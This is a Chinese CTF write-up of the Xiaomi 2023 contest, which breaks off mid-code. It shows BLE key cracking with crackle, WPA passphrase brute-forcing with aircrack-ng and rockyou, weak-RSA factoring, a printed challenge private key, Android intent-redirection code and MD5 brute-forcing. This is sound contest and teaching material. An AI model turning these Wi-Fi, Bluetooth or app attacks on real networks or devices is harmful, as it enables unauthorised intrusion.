小米2023CTF安全赛道writeup
2023-05-06 CTF CTF writeup 5.1k 字 16 分钟
又是一年小米CTF,这次稍微卷了卷,拿到了第三名。奖品是一个小米手表(感觉没有去年好,23333)。但是有超多的证书和奖杯(有三个!!!)
IoT
IoT-1 Cyber Pulse
想不到居然是个原题。。。https://ctftime.org/writeup/34125
先用Logic2打开文件,然后导出为csv格式
写个程序分析一下分布
最后输出flag
import numpy as np
from matplotlib import pyplot as plt
sig = np.genfromtxt('digital.csv', delimiter=',', skip_header=0)
values = np.diff(sig[:, 0]) * 1000
plt.figure()
plt.plot(values[2:-1])
plt.savefig('signal_plot.png')
plt.close()
rounded_values = np.round(values[::2])
int_values = np.floor(values[::2])
ceil_values = int_values + 1
for v in [rounded_values, int_values, ceil_values]:
print(''.join([chr(int(x)) for x in v[1:]]))
IoT-2 Debug
hint给了提示,解压sal文件,从json里搜索,找到了saleae公司下的Logic2软件可以打开该文件。
用该软件分析数据,拼接字符串得到flag。
IoT-3 PCB
找软件找了好久。。。群里大佬提示了一个【嘉立创CAM】(吐槽一下居然还要手机验证码登录),找了个Windows电脑安装了一下,载入zip压缩包。在三个图层里有flag信息。(从0开始的PCB入门)
IoT-4 BLE1
找到低功耗蓝牙的LTK。使用工具破解即可。https://github.com/mikeryan/crackle
# sumy @ SumyDeMBP in ~/Downloads
$ crackle -i BLE01.pcapng
Warning: No output file specified. Decrypted packets will be lost to the ether.
Found 1 connection
Analyzing connection 0:
62:1f:33:cb:c4:c2 (random) -> 98:22:ef:20:9f:53 (public)
Found 28 encrypted packets
Cracking with strategy 0, 20 bits of entropy
!!!
TK found: 338467
!!!
Decrypted 26 packets
LTK found: f39372ca0af932321a6690566c898cd9
Specify an output file with -o to decrypt packets!
IoT-5 BLE3
这个题确实不难,就是工具没找到,卡了好久。
用wireshark打开数据包文件,过滤条件输入btatt,首先看发送的基本信息。枚举BLE的handler,不停读取其中的信息,看到了一个里面有假的flag,提交上去肯定不是。
btatt里没有有用的信息,看了下外面其余信息,发现文件最后有一段配对交换和加密传输的过程。开始考虑怎么解密这个数据包。
============================卡了好久分割线====================
继续使用crackle解密,发现不支持。
$ crackle -i BLE03.pcapng
Warning: No output file specified. Decrypted packets will be lost to the ether.
Frames inside PCAP file not supported ! dlt_name=BLUETOOTH_LE_LL
Frames format supported:
[256] BLUETOOTH_LE_LL_WITH_PHDR
[192] PPI
[157] NORDIC_BLE_SNIFFER_META
[272] NORDIC_BLE
继续找,有人提到了怎么解密BLUETOOTH_LE_LL。https://github.com/arunima06/crackle 但是代码没有合入master。用它提供的工具进行解密。成功获取了解密数据包文件。
$ ./crackle -i ~/Downloads/BLE03.pcapng -o ~/Downloads/BLE03.decrypted.pcap
PCAP contains [BLUETOOTH_LE_LL] frames
Found 1 connection
Analyzing connection 0:
75:48:3c:00:4a:a5 (random) -> f6:c5:05:1c:dd:ec (random)
Found 28 encrypted packets
Cracking with strategy 0, 20 bits of entropy
!!!
TK found: 364095
!!!
Decrypted 27 packets
LTK found: ba011ff2ee65f868cc2c343aacf3fde7
Decrypted 27 packets, dumping to PCAP
Done, processed 737 total packets, decrypted 27
wireshark打开,翻找最后的请求,发现两段flag。flag{3dbd26cb04d9ae7b8c89628c032ee7d2}
IoT-8 BLE2
这个题的步骤有点多。
用wireshark打开数据包文件。过滤条件输入btatt,这里只关注数据传输的相关Frame。
在中间部分发现了一个公钥的开头,后面的两个数据包都是在传输公钥。将两个数据包的公钥提取出来备用。
合理猜测一下,接下来肯定要传输公钥加密后的密文了。把所有的Send Write Request的数据内容提取出来。
这里存成hex字符串备用
2ee76ad6ff3d3770dfeccfa2a55554941f1bd64fe7b002bb2fc7c318a60da5ad94b3e1c73571dabc38450d8807b81ee136d4367bacbad77f023c8d428381ae0b24cf92a170c84deb71b78fb24e0dfe9a16980c39d7482d5b8db8eb3fd147ffda193f1154d9f8e32212494005f8ad9f3089c6c4d30bddb964a999ccfa10dfd8b0
下一步需要解密这个字符串数据。这里涉及到公钥解密的算法,需要找到几个参数:
- 获取公钥的基本信息
- 将n转成10进制,在网站上 http://factordb.com/index.php?id=1100000001582802043 分解得到p和q。
- 将获得的所有参数代入公式中,c是需要解密的密文。最终得到flag。(其实不想用python的,但是抵不住python处理大数真的很方便)
import libnum
n = 143000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007088000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000079569
p = 11000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000189
q = 13000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000421
e = 65537
phi = (p - 1) * (q - 1)
d = libnum.invmod(e, phi)
c = int(
"2ee76ad6ff3d3770dfeccfa2a55554941f1bd64fe7b002bb2fc7c318a60da5ad94b3e1c73571dabc38450d8807b81ee136d4367bacbad77f023c8d428381ae0b24cf92a170c84deb71b78fb24e0dfe9a16980c39d7482d5b8db8eb3fd147ffda193f1154d9f8e32212494005f8ad9f3089c6c4d30bddb964a999ccfa10dfd8b0",
16)
m = pow(c, d, n)
print(libnum.n2s(m))
IoT-9 你的Wi-Fi流量被监听了么?
给了一个pcap文件,第一次玩流量分析,一步一坑的解决了。
用Wireshark打开文件,以为直接找HTTP协议,发现不行。都是802.11协议。查找发现是与wifi设备通信的协议,被加密了,需要获取解密密钥。
这里用Aircrack-ng进行爆破
brew install aircrack-ng
aircrack-ng -1 -a 2 -b 28:ed:e0:62:52:d6 ./monitorAP.pcap -w ./rockyou.txt
# -b 后面是wifi的BSSID,大部分链接的都是miCTF,wireshark->wireless->WLAN Traffic可以查询到
# -a 打表加密类型,1:WEP 2:WPA-PSK
# -w 需要一个字典,从网上找了一个
爆破找到密码
找到密码了之后可以用wireshark->Frame上右键->...->输入解密密钥。
接下来wireshark会自动解密请求。然后开始找可疑请求,先从HTTP协议开始找,因为最容易辨认。
可以看到有一个发送的POST请求,里面有可疑的flag,但是直接提交上去没有通过。
猜测可能被加密了,因为Encrypted=1。用Base64解密,获取到了还算“正常”的flag,提交通过。
IoT-10 7 segment
这是一个综合的题目,结合了前面的信号分析和PCB查看。
开始还不知道7 segment是什么意思,后来又查了一下叫七段数码管,就是计算器那种展示方式。
给了一个sal文件和PCB图纸。先看PCB图纸。
是一个“荷魯斯之眼”的标识,里面有线路,线路连接着几个输入点。对照网上的引脚图,可以把输入点和对应显示的线段标识出来。
然后看信号文件。
对照信号文件把高低电平找出来,然后根据接口和线段的对应关系,就能把展示的数字还原出来。
这里手动还原也可以。当然你也可以写个程序搜一下,就是把数字字母编码和对应的信息的排列组合试一下。把都满足的结果输出出来。
package com.sumygg.mictf2023.iot10
val data = arrayOf(
"111101010011010101010101011011",
// "111111111111111111111111111111",
"111101011101111111011111111100",
"111101010011011111111101111010",
"111111111111110101110111010110",
"100110101100100000100110001110",
"111001010011011111001001111010",
"111001010011011111111001110000",
)
val digitMap = mapOf<String, String>(
"1111101" to "0",
"0101000" to "1",
"0110111" to "2",
"0101111" to "3",
"1101010" to "4",
"1001111" to "5",
"1011111" to "6",
"0101100" to "7",
"1111111" to "8",
"1101111" to "9",
"1111110" to "a",
"1011011" to "b",
"1010101" to "c",
"0111011" to "d",
"1010111" to "e",
"1010110" to "f",
)
fun check(used: IntArray) {
val sb = StringBuilder()
val digit = CharArray(7)
for (i in 0 until 29 ) {
for (j in 0 until data.size) {
digit[used[j]] = data[j][i]
}
val dig = digit.joinToString("")
if (digitMap.containsKey(dig)) {
sb.append(digitMap[dig]!!)
} else {
// println("not found for ${used.joinToString(",")}")
return
}
}
println(sb.toString())
}
fun dfs(used: IntArray, level: Int) {
if (level == 7) {
check(used)
return
}
for (i in 0 until used.size) {
if (used[i] < 0) {
used[i] = level
dfs(used, level + 1)
used[i] = -1
}
}
}
fun main() {
val used = IntArray(7) {
-1
}
dfs(used, 0)
}
最后一个是干扰项,搜索的时候暂时去掉了。
最终还原出来的的信息是 8663161677b676f6f645f376f627d_
。这个明显是加密的。。。但是不知道怎么解密。。。
======================卡了很久的分割线=================
期间试过很多种解密,都没啥效果。于是又把那个网站找出来 https://www.dcode.fr/cipher-identifier 判断一下加密方式。
这四种概率挺高的,继续实验。在试到环式移位(Circular Bit Shift)发现结果很像一个flag。
调整移位的数量,最终发现flag。
Misc
misc-1 红线!红线!红线!
根据提示 tomorrow is another day
去github上搜索(你说为什么不在gitlab里搜索?公司的gitlab有搜索吗。。。),
找到一个仓库,翻看提交记录,找到flag
misc-2 有趣的前端
页面写了一些字符,不知道做什么的,直接看源码
源码的 <script>
里有个注释,很可疑,拿去base64解码
直接放在网页控制台里执行,居然可以正常执行。。。最后查了一下,原来是一个叫jjencode的编码方式,找了个解码网站 https://www.53lu.com/tool/jjencode/
原来是写在了localstorage里面了。。。
misc-3 敏感数据
这个题给了hint,在程序退出的时候下断点,然后查找。
目标很明确,但是调试工具基本没用过,然后就开始疯狂的谷歌之旅,疯狂的踩坑。
坑一,程序在ubuntu环境下运行不起来。
$ ./mm
-bash: ./mm: 没有那个文件或目录
因为这是个32位的ELF,而系统是64位的,需要安装32位的库。
sudo apt install ia32-libs 或 sudo apt install lib32bz2
sudo apt install gcc-multilib
坑二,使用gdb如何设置退出断点
这个问题倒是没有困扰太久,很快找到了答案。
$ gdb ./mm
(gdb) catch syscall exit exit_group
(gdb) run
程序执行起来,根据提示输入exit会自动断住。
坑三,如何把查看内存
这一步卡了有一周之久。刚开始查找的方法都是通过/x指令查看某段内存区域。然后想到了用IDA pro远程调试看内存,发现程序退出时断不住。。。
索性问一问chatGPT,回答的还很靠谱。
Q: 在使用gdb调试程序将程序中断之后,如何将当前程序的内存导出并进行查看?
A: 在使用gdb调试程序时,可以使用gcore命令将当前程序的内存导出为一个core文件,然后使用objdump或者其他反汇编工具查看该文件。
具体步骤如下:
1. 在gdb中使用break命令设置断点,使程序停止在需要查看内存的位置。
2. 使用gcore命令导出当前程序的内存为一个core文件,命令格式为:
gcore <filename>
其中,<filename>为导出的core文件名。
3. 使用objdump或其他反汇编工具查看该文件,命令格式为:
objdump -D <filename>
其中,<filename>为导出的core文件名。
该命令将会输出core文件中的汇编代码,可以通过查看汇编代码来了解程序在中断时的状态和内存情况。
试了一下,居然可以。。。剩下的就简单了,strings查找关键字flag。成功获取flag。
(gdb) gcore mm_exec_mem_dump
(gdb) exit
$ strings mm_exec_mem_dump | grep flag
posix_spawnattr_setflags
fchflags
posix_spawnattr_getflags
__rseq_flags
Nflag{111-222-333-222}
<flags id="i386_eflags" size="4">
</flags>
<reg name="eflags" bitsize="32" type="i386_eflags" regnum="9"/>
<flags id="i386_mxcsr" size="4">
</flags>
misc-4 ez forensics
内存取证,用的是 https://www.volatilityfoundation.org/releases ,Volatility 2.6
找到了一篇差不多的题解,参考了一下(关键词居然是dumpIt.exe,虽然对解题没用,但是可以用来找题解)https://n1ght-w0lf.github.io/ctf%20writeups/memlabs-lab1/
- 分析dump文件的基本信息
./volatility_2.6_mac64_standalone -f ../mem.raw imageinfo
可以看到是一个Win7的内存dump。后面的命令里需要附带这个值。
- 查看当前的进程信息。
./volatility_2.6_mac64_standalone -f ../mem.raw --profile=Win7SP1x64 psscan
。能看到两个比较可疑的进程mspaint.exe是画板程序,DumpIt.exe不知道是啥。(后来用volatility的consoles命令看了一下当时的命令行输出,DumpIt.exe是一个将当前系统内存dump下来的程序。。。)
- 将mspaint.exe的内存数据导出来。
./volatility_2.6_mac64_standalone -f ../mem.raw --profile=Win7SP1x64 memdump -D ../dump_it_2 -p 940
。将导出的940.dmp文件命名为940.data文件备用。
- 拿出画图工具GIMP https://www.gimp.org/downloads/ ,将940.data拖进去,开始调整宽度。
大概调整成这个宽度,把头歪一下,就能看清flag了。
misc-5 ChatGPT
真的全程可以询问ChatGPT这个题目怎么解。
第一步给出一个文件,通过询问得知是一个Python字节码的表示
让chatgpt帮忙转成代码
import random
r = random.Random(1145141919)
pt = input('Enter your flag: ').encode()
ct = b'h\xfe<\x88G`\x8b\xe2\xdd$hVL\xdb\x1b\xc8b!~W\xce'
buf = []
for b in pt:
buf.append(r.randint(0, 255) ^ b)
assert bytes(buf) == ct
print('Correct!')
然后询问gpt如何得到correct
段代码是一个简单的加密和解密程序,其中 `pt` 是输入的明文,`ct` 是加密后的密文。程序使用了一个伪随机数生成器 `r` 来生成随机的密钥,然后将明文和密钥进行异或运算得到密文。最后程序检查解密后的结果是否与密文相等,如果相等则输出 `Correct!`。
为了保证输出 `Correct!`,需要输入与 `ct` 对应的明文。可以通过将 `ct` 和随机数生成器 `r` 进行逆向操作来解密得到明文:
`python
import random
r = random.Random(1145141919)
ct = b'h\xfe<\x88G`\x8b\xe2\xdd$hVL\xdb\x1b\xc8b!~W\xce'
buf = []
for b in ct:
buf.append(r.randint(0, 255) ^ b)
pt = bytes(buf)
print(pt)
`
运行上述代码可以得到明文,将其输入到原始程序中即可输出 `Correct!`。
手动执行这段python代码,获得最终的flag。
misc-6 弦外之音
开始提供了一个7z文件,解压后有个wav的音频。先用binwalk探查一下:
# sumy @ SumyDeMBP in ~/Downloads
$ binwalk 弦外之音.wav
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
4183103 0x3FD43F mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CFB, keymode: 8bit
5141579 0x4E744B mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit
11104073 0xA96F49 mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit
13154108 0xC8B73C mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit
14767811 0xE156C3 mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: OFB, keymode: 4bit
16412867 0xFA70C3 mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CFB, keymode: 4bit
16819280 0x100A450 mcrypt 2.5 encrypted data, algorithm: "", keysize: 255 bytes, mode: "{",
17156186 0x105C85A mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CFB, keymode: 4bit
17742077 0x10EB8FD mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CFB, keymode: 4bit
18362924 0x118322C Zip archive data, encrypted at least v2.0 to extract, compressed size: 133, uncompressed size: 490, name: hide.txt
18363185 0x1183331 End of Zip archive, footer length: 22
发现最后隐藏了一个zip包的数据,把zip包提取出来解压,需要密码。。。下面的工作是找压缩包的密码。
怀着忐忑不安的心情开始听音频(好怕有刺啦刺啦的声音。。。)发现里面有一段拨号音。无奈五音不全,只能想方法找找怎么手解这段拨号音。
学到了新姿势,DTMF对照表
低频 \ 高频(Hz) | 1209 | 1336 | 1477 | 1633 |
---|
697 | 1 | 2 | 3 | A |
770 | 4 | 5 | 6 | B |
852 | 7 | 8 | 9 | C |
941 | * | 0 | # | D |
用音频分析软件打开,我用的Audacity
右键调出频谱图,然后用肉眼使劲瞄。。。数字是 951637208426840
。。。
用来解压zip刚刚好。里面出来个hide.txt文件,内容是:
欢迎参加2023小米杯CTF大赛
提交到flag居然不对。。。数字提交也不对。。。
观察文件名hide,是不是还有字符隐藏起来了。。。
果然,一般文本编辑器打开是不展示这些字符的,所以才没发现。
用这个网址解密 https://330k.github.io/misc_tools/unicode_steganography.html ,就会出现最终的flag了。
Mobile
mobile-1 ba5e64
扔到反编译工具,发现是个编码题,这里整理了一下encode方法
private val legalChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/".toCharArray()
/**
* 简化了一下,去除var1添加空格的干扰
* @param str
* @return
*/
fun encode(str: ByteArray): String {
val len = str.size
val result = StringBuilder(str.size * 3 / 2)
var i = 0
// 原字符串每三位转成新字符串的四位
while (i <= len - 3) {
val var4 =
(str[i].toInt() and 255 shl 16) or (str[i + 1].toInt() and 255 shl 8) or (str[i + 2].toInt() and 255)
result.append(legalChars[var4 shr 18 and 63])
result.append(legalChars[var4 shr 12 and 63])
result.append(legalChars[var4 shr 6 and 63])
result.append(legalChars[var4 and 63])
i += 3
}
// 不够的最后补等于=
if (i == len - 2) {
val var1 = (str[i].toInt() and 255 shl 16) or (str[i + 1].toInt() and 255 shl 8)
result.append(legalChars[var1 shr 18 and 63])
result.append(legalChars[var1 shr 12 and 63])
result.append(legalChars[var1 shr 6 and 63])
result.append("=")
} else if (i == len - 1) {
val var1 = (str[i].toInt() and 255 shl 16)
result.append(legalChars[var1 shr 18 and 63])
result.append(legalChars[var1 shr 12 and 63])
result.append("==")
}
return result.toString()
}
对照encode写出decode方法
fun chi(x: Char): Int {
return legalChars.indexOf(x)
}
fun decode(str: String): String {
val result = ArrayList<Byte>()
var i = 0
while (i < str.length) {
// 最后的等号
if (str[i + 2] == '=') {
val x = (chi(str[i]) shl 18) or (chi(str[i + 1]) shl 12)
result.add((x shr 16 and 255).toByte())
} else if (str[i + 3] == '=') {
val x = (chi(str[i]) shl 18) or (chi(str[i + 1]) shl 12) or (chi(str[i + 2]) shl 6)
result.add((x shr 16 and 255).toByte())
result.add((x shr 8 and 255).toByte())
} else {
val x = (chi(str[i]) shl 18) or (chi(str[i + 1]) shl 12) or (chi(str[i + 2]) shl 6) or chi(str[i + 3])
result.add((x shr 16 and 255).toByte())
result.add((x shr 8 and 255).toByte())
result.add((x and 255).toByte())
}
i += 4
}
return result.toByteArray().decodeToString()
}
调用decode,解密字符串,拿到flag
package com.sumygg.mictf2023.android_1;
public class Main {
public static void main(String[] args) {
String target = "DgGXC18XC19cytvLnJq=";
String origin = Base64Kt.decode(target);
System.out.println(origin);
System.out.println(Base64Kt.encode(origin.getBytes()));
}
}
mobile-2 xor
入口文件,将一个20位的字符串flag{xxxxxxxxxxxxxx}中间部分扔到一个so文件处理。
把so文件扔到IDA里,按F5反编译成源码。
对C语言不是很了解,大概能看懂,写了个解码程序。
package com.sumygg.mictf2023.android_2
fun toLH(n: Int): ByteArray {
val b = ByteArray(4)
b[0] = (n and 0xff).toByte()
b[1] = (n shr 8 and 0xff).toByte()
b[2] = (n shr 16 and 0xff).toByte()
b[3] = (n shr 24 and 0xff).toByte()
return b
}
fun main() {
val str = "Hello_from_C++"
val num1 = 251658271
val num2 = 1073951232
val num3 = 387712034
val bytes = toLH(num1) + toLH(num2) + toLH(num3) + byteArrayOf('m'.toByte(), '\n'.toByte())
val sb = StringBuilder()
for (i in 0 until 14) {
sb.append((bytes[i].toInt() xor str[i].toInt()).toChar())
}
println("flag{$sb}")
}
最后两位m和\n是猜出来的,有没有大佬帮忙解释一下为什么v8会覆盖到v7的后面?
mobile-3 MAZE
想起了上一届的题目,不过这次用android写的,幸运的是没用so。。。
源码含义是题目给了一个地图,走24步从@走到#号,adsw分别代表左右下上,最后行走的路径就是flag。拆了一下代码,大概能看出个样子。
mobile-4 重定向初探
理论上自己构造一个intent,然后把exp的intent指向flag activity。
fun test() {
binding.testButton.setOnClickListener {
val intent = Intent("ACTION_SHARE_TO_ME")
intent.component = ComponentName("com.mictf.intent0", "com.mictf.intent0.MainActivity")
val next = Intent()
next.setClassName("com.mictf.intent0", "com.mictf.intent0.flag")
intent.putExtra("exp", next)
startActivity(intent)
}
}
但是action的判断和intent-filter里的值不一样,导致intent无法传达。。。
最终猜测了一个flag出来。。。
mobile-5 数学家
apk反编译一下,发现是个SM4算法。搜索了一下,有个SM4中的DFA(侧信道攻击)的方法。但是感觉不太对。
注释里提到了r1和r2的值,让你求解r3和r4。后来终于明白了注释里的r1,r2代表的是什么意思,这四个数字是随机数生成的,我们都知道计算机生成随机数是一种伪随机数,知道了种子就能预测下次的生成结果。正好这里知道了两个随机数,可以遍历求解下次和下下次的随机数种子了。
package com.sumygg.mictf2023.android_5
val r1 = 0x5B43251CL
val r2 = 0x3FE052A6L
fun liner(seed: Long): Long {
return ((seed * 25214903917 + 11) and 0xffffffffffff)
}
fun getNext(v1: Long, v2: Long): Long {
for (i in 0..65535) {
val seed = (v1 * 65536 + i).toLong()
if ((liner(seed) shr 16) == v2) {
println("seed ${seed}")
return (liner(liner(seed)) shr 16)
}
}
return 0
}
fun main() {
val r3 = getNext(r1, r2)
val r4 = getNext(r2, r3)
println("${r1},${r2},${r3},${r4}")
}
知道了四个随机数,代入到SM4进行解密。
fun main() {
val nextInt: Int = 0x5B43251C
val nextInt2: Int = 0x3FE052A6
val nextInt3: Int = 3987903328.toInt()
val nextInt4: Int = 1834396842
// Log.e("Tips", "r1 = 0x5B43251C")
// Log.e("Tips", "r2 = 0x3FE052A6")
// Log.e("Tips", "Can you find r3 and r4 ?")
val res = Encryption.deal(
"64E17A9C1A7A396E479BD78BEE46FBAA",
0,
Encryption.hexStringToBytes(
String.format("%08X", nextInt) + String.format(
"%08X",
nextInt2
) + String.format("%08X", nextInt3) + String.format("%08X", nextInt4)
)
)
println(res)
}
// 736D345F346E645F72406E64306D2121
得到的结果十六进制解码一下即可得到flag。
mobile-6 多少个MD5
这个题是so文件的逆向分析。逆向不是强项,只能连蒙带猜的做。
把apk反编译一下,找到入口。
private static final void onCreate$lambda$0(Editable var0, MainActivity var1, View var2) {
Intrinsics.checkNotNullParameter(var1, "this$0");
if (StringsKt.startsWith$default(var0.toString(), "flag{", false, 2, (Object)null) && StringsKt.endsWith$default(var0.toString(), "}", false, 2, (Object)null) && var0.length() == 25) {
String var3 = var0.toString().substring(5, var0.length() - 1);
Intrinsics.checkNotNullExpressionValue(var3, "this as java.lang.String…ing(startIndex, endIndex)");
if (var1.stringFromJNI(var3)) {
Toast.makeText((Context)var1, (CharSequence)"flag正确!", 0).show();
} else {
Toast.makeText((Context)var1, (CharSequence)"flag错误!", 0).show();
}
} else {
Toast.makeText((Context)var1, (CharSequence)"flag格式错误!", 0).show();
}
}
这段代码判断输入字符串的格式为flag{xxxxxxxx},长度25位,并将其中的19位传个so文件进行判断。重点看一下so文件的函数的逻辑。
把so文件扔IDA pro里,找到入口 Java_com_crl_native1_MainActivity_stringFromJNI
,大体看一下程序结构。
开始声明了4个字符串,看样子是MD5。通过在线md5反查可以把前三个解出来。
前三个每个都是一个4位的字符串,猜测一下最后一个也是一个4位的字符串生成的。但是在线md5解不出来。继续看后面的逻辑。
这一部分对字符串每4位求一次md5,与上面的md5进行比较。最后4位连续求了两次md5,所以才查不出来。写个程序爆破一下。
package com.sumygg.mictf2023.android_4
import org.apache.commons.codec.digest.DigestUtils
fun md5(str: String): String {
return DigestUtils.md5Hex(str)
}
val md5str = "95bc7a9681dc650bb0531110bdcbd65d"
fun crack() {
val str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?.,|\\/~!@#$%^&*()-_=+?{}[]` ;:'\""
for (ch1 in str) {
for (ch2 in str) {
for (ch3 in str) {
for (ch4 in str) {
val x = ch1.toString() + ch2 + ch3 + ch4
if (md5(md5(x)) == md5str) {
println(x)
return
}
}
}
}
}
println("notfound")
}
fun main() {
println(md5("xiao"))
println(md5("mi1I"))
println(md5("2023"))
println(md5(md5("ctf!")))
// crack()
}
最终把所有md5的原值找出来之后,拼接成字符串,提交,居然不对。。。难道漏掉了什么???
======================卡了好久的分割线=====================
又仔细看了一下,入参是19位字符串,而现在只有16位,还有三位被处理没了。
看这里,getline是读入一个字符串,45是指定的分隔符,换算成ascii就是减号-。所以猜测4段md5中间还有三个减号,正好组成19位。提交,正确!
mobile-7 pdd
apk扔到反编译工具里看一下,发现在ValActivity.class里有一个解密程序,通过intent接收一个privatekey,然后对硬编码的字符串进行解密。解密逻辑都在Util.class里,而且privatekey放在了res/raw目录下。
根据解密逻辑写一段解密代码:
package com.sumygg.mictf2023.android_7
import org.apache.commons.codec.binary.Base64
import java.nio.charset.StandardCharsets
import java.security.KeyFactory
import java.security.PrivateKey
import java.security.spec.PKCS8EncodedKeySpec
import javax.crypto.Cipher
fun getPrivateKeyFromString(str: String): PrivateKey {
val var1 = PKCS8EncodedKeySpec(Base64.decodeBase64(str))
return KeyFactory.getInstance("RSA").generatePrivate(var1)
}
fun decrypt(s: String, key: PrivateKey): String {
val instance = Cipher.getInstance("RSA/ECB/PKCS1Padding")
instance.init(2, key)
return String(instance.doFinal(Base64.decodeBase64(s)), StandardCharsets.UTF_8)
}
val privateKeyStr =
"MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAhwgY3ay6Ty0W6nUt\n" +
"yqhiUV4+5/KFwiY3U1YkkAdXwMuB9T367zDkjVEF5bnB2swDt5/O0P08xArhzQ0p\n" +
"WDoK/QIDAQABAkARKGq8dC/CUsjoJtaYOzgu/apBn9P2PRPnn3kK4hv479G40An/\n" +
"emfHM4mN1cQT+PD9Eswg+JjohdIxPlH/kQLxAiEAip0SFC1CrqzW35UhlFxdbxNT\n" +
"DSN10TgPj8tVn84CIrUCIQD5Ynos1RHwiT0HFdpZ/CIojd13TkzYiYPt1V81nnoM\n" +
"KQIgIspTnE7T2sW01L84g2U/aj6ebMDGtHFurnepkQeCz7UCIQDWO1WvK77EfnCx\n" +
"pIE16hXB9tS4h8gWAFQYPMMUgbZguQIgN3eGtyJasra6VIg/huHLBRjU3shYh9TN\n" +
"WOfeyRzQeyw="
val text = "X2l9IVSbjYDgVQ2dLoIZWo55cGUT4Mgx2tJuDjZwi5E+e8kZ28iNINOJdXv9NtVXBiY+ow9kpRtEFbuE3oJr6g=="
fun main() {
println(decrypt(text, getPrivateKeyFromString(privateKeyStr)))
}
密钥与apk里的privatekey.pdd不一样,直接使用会报algid parse error, not a sequence
的错误。需要转一下格式
key.txt
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAIcIGN2suk8tFup1LcqoYlFePufyhcImN1NWJJAHV8DLgfU9+u8w5I1RBeW5wdrMA7efztD9PMQK4c0NKVg6Cv0CAwEAAQJAEShqvHQvwlLI6CbWmDs4Lv2qQZ/T9j0T5595CuIb+O/RuNAJ/3pnxzOJjdXEE/jw/RLMIPiY6IXSMT5R/5EC8QIhAIqdEhQtQq6s1t+VIZRcXW8TUw0jddE4D4/LVZ/OAiK1AiEA+WJ6LNUR8Ik9BxXaWfwiKI3dd05M2ImD7dVfNZ56DCkCICLKU5xO09rFtNS/OINlP2o+nmzAxrRxbq53qZEHgs+1AiEA1jtVryu+xH5wsaSBNeoVwfbUuIfIFgBUGDzDFIG2YLkCIDd3hrciWrK2ulSIP4bhywUY1N7IWIfUzVjn3skc0Hss
-----END RSA PRIVATE KEY-----
openssl pkcs8 -topk8 -inform pem -in key.txt -outform pem -nocrypt -out privatekey_p8.key
这样解密出来的之后后半段密钥,前半段在哪儿?
就在apk里,不知道被藏哪里了。。。有没有大佬帮忙指认一下。。。
mobile-9 bqq
照例反编译apk文件。发现java代码调用了so文件的flag和dddd函数,其它的逻辑没了。重点看一下so文件里的逻辑。
flag函数是一个编码算法,先将输入字符串与dlddddhm
进行异或,然后将异或的结果转成hex字符串。
dddd函数是一些请求远程服务的函数,大体就是通过socket与远程服务连接,然后拼接HTTP header发送。
将这两部分逻辑提取出来,写了一个程序。然后再看一下远程服务,是一个网页,提示give me the trueflag.
至此虽然全部的方法都了解了,但是给远程服务发什么都还没有思路。
========================卡了很久的分割线====================
给了hint说注意Referer,我又重点看了一下。
Referer:https://www.baidu.com/?wd=020D0F010208090A\n
里面wd后面的字符串很像flag函数加密的结果,写个程序解密一下。
fun decode(str: String): String {
val sb = StringBuilder()
for (i in 0 until str.length / 2) {
val x = str2.indexOf(str[i * 2]) * 16 + str2.indexOf(str[i * 2 + 1])
sb.append(Char(x xor str1[i].code))
}
return sb.toString()
}
// println(decode("020D0F010208090A"))
// fakeflag
结果是fakeflag,意思是发送trueflag过去吗?
fun encode(): String {
val input = "trueflag"
val inputLen = input.length
val output = CharArray(inputLen + 1)
if (inputLen > 0) {
var x = 0
var y = 0
while (x != inputLen) {
val ch = str1[y]
y = y - ((y + (((y + 1) shr 31) shr 29) + 1) and 0xFFFFFF8) + 1
output[x] = (input[x].code xor ch.code).toChar()
x++
}
}
output[inputLen] = 0.toChar()
val output2 = CharArray(2 * inputLen + 1)
if (inputLen > 0) {
for (i in 0 until inputLen) {
val tmp = output[i].code % 16
output2[2 * i] = str2[output[i].code / 16]
output2[2 * i + 1] = str2[tmp]
}
}
output2[2 * inputLen] = 0.toChar()
println(output2.joinToString(""))
}
// 101E11010208090A
构造请求,发送,成功返回flag
mobile-10 VM
反编译看一下,用java写了一个简单的虚拟机来执行代码,指令集也比较少。将代码提取出来转成了kotlin语言。
package com.sumygg.mictf2023.android_10
// @formatter:off
val opcode = intArrayOf(
3, 0, 0, 0, 0, 0,
3, 0, 0, 0, 0, 1,
3, 0, 0, 0, 0, 2,
3, 23, 0, 0, 0, 3,
3, 3, 0, 0, 0, 4,
3, 87, 4, 0, 0, 5,
3, 127, 0, 0, 0, 6,
3, /* a2 */ 25, 0, 0, 0, 7,
2, 2, 0,
9, 2,
1, 3, 1,
6, 4, 1,
4, 5, 1,
8, 6, 1,
1, 1, 3,
10, 0, 1,
11, 10, // jump -> a1
10, 2, 7,
11, 222, // jump -> a2
12,
0,
0,
0, // a1
)
// @formatter:on
var tag = false
val dest =
intArrayOf(37, 79, 78, 75, 66, 39, 85, 96, 2, 101, 17, 19, 25, 43, 97, 5, 110, 44, 100, 14, 10, 125, 89, 108, 38)
val checkDest = ArrayList<Int>()
fun vm() {
val register = IntArray(8)
var pos = 0
var isRunning = true
var tmp1 = 0
while (isRunning) {
var tmp2: Int
when (opcode[pos]) {
// 停机指令
0 -> isRunning = false
// op a b 将寄存器a的值赋值给寄存器b b = a
1 -> {
register[opcode[pos + 2]] = register[opcode[pos + 1]]
pos += 2
}
